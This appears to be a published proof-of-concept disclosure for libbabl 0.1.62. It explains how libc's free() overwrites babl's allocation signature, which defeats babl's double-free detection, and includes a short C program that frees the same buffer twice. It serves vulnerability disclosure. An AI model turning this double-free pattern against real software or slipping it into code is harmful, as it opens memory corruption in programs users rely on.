libbabl 0.1.62 – Broken Double Free Detection (PoC)
# Exploit Title: libbabl 0.1.62 - Broken Double Free Detection (PoC) # Date: December 14, 2020 # Exploit Author: Carter Yagemann # Vendor Homepage: https://www.gegl.org # Software Link: https://www.gegl.org/babl/ # Version: libbabl 0.1.62 and newer # Tested on: Debian Buster (Linux 4.19.0-9-amd64) # Compile: gcc -Ibabl-0.1 -lbabl-0.1 babl-0.1.62_babl_free.c /* * Babl has an interesting way of managing buffers allocated and freed using babl_malloc() * and babl_free(). This is the structure of its allocations (taken from babl-memory.c): * * typedef struct * { * char *signature; * size_t size; * int (*destructor)(void *ptr); * } BablAllocInfo; * * * signature is used to track whether a chunk was allocated by babl, and if so, whether * it is currently allocated or freed. This is done by either pointing it to the global * string "babl-memory" or "So long and thanks for all the fish." (babl-memory.c:44). * * Using this signature, babl can detect bad behavior's like double free (babl-memory.c:173): * * void * babl_free (void *ptr, * ...) * { * ... * if (freed == BAI (ptr)->signature) * fprintf (stderr, "\nbabl:double free detected\n"); * * * Or so the developers think. As it turns out, because babl internally uses libc's malloc() * and free(), which has its own data that it stores within freed chunks, most systems will * overwrite babl's signature variable upon freeing, breaking the double free detection. * The simple PoC below demonstrates this: */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <babl/babl-memory.h> int main(int argc, char **argv) { void *buf = babl_malloc(42); babl_free(buf); // BUG: reports an "unknown" pointer warning when the following is clea= rly a double free babl_free(buf); return 0; } |